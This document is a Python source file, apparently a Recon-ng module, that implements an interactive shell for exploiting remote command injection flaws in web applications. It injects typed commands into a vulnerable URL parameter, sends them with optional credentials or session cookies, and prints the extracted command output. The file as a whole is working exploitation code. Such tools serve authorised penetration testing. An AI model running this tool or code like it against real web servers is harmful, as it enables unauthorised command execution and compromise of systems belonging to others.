from recon.core.module import BaseModule
import urllib

class Module(BaseModule):

    meta = {
        'name': 'Remote Command Injection Shell Interface',
        'author': 'Tim Tomes (@LaNMaSteR53)',
        'description': 'Provides a shell interface for remote command injection flaws in web applications.',
        'options': (
            ('base_url', None, True, 'the target resource url excluding any parameters'),
            ('parameters', None, True, 'the query parameters with \'<rce>\' signifying the value of the vulnerable parameter'),
            ('basic_user', None, False, 'username for basic authentication'),
            ('basic_pass', None, False, 'password for basic authentication'),
            ('cookie', None, False, 'cookie string containing authenticated session data'),
            ('post', False, True, 'set the request method to post. parameters should still be submitted in the url option'),
            ('mark_start', None, False, 'string to match page content preceding the command output'),
            ('mark_end', None, False, 'string to match page content following the command output'),
        ),
    }

    def help(self):
        return 'Type \'exit\' or \'ctrl-c\' to exit the shell.'

    def parse_params(self, params):
        params = params.split('&')
        params = [param.split('=') for param in params]
        return [(urllib.unquote_plus(param[0]), urllib.unquote_plus(param[1])) for param in params]

    def module_run(self):
        base_url = self.options['base_url']
        base_params = self.options['parameters']
        username = self.options['basic_user']
        password = self.options['basic_pass']
        cookie = self.options['cookie']
        start = self.options['mark_start']
        end = self.options['mark_end']

        # process authentication
        auth = (username, password) if username and password else ()
        headers = {'Cookie': cookie} if cookie else {}

        # set the request method
        method = 'POST' if self.options['post'] else 'GET'

        print('Type \'help\' or \'?\' for assistance.')
        while True:
            # get command from the terminal
            cmd = raw_input("cmd> ")
            if cmd.lower() == 'exit': return
            elif cmd.lower() in ['help', '?']:
                print(self.help())
                continue
            # build the payload from the base_params string
            payload = {}
            params = self.parse_params(base_params.replace('<rce>', cmd))
            for param in params:
                payload[param[0]] = param[1]
            # send the request
            resp = self.request(base_url, method=method, payload=payload, headers=headers, auth=auth)
            # process the response
            output = resp.text
            if start and end:
                try: output = output[output.index(start)+len(start):]
                except ValueError: self.error('Invalid start marker.')
                try: output = output[:output.index(end)]
                except ValueError: self.error('Invalid end marker.')
            print('%s' % (output.strip()))
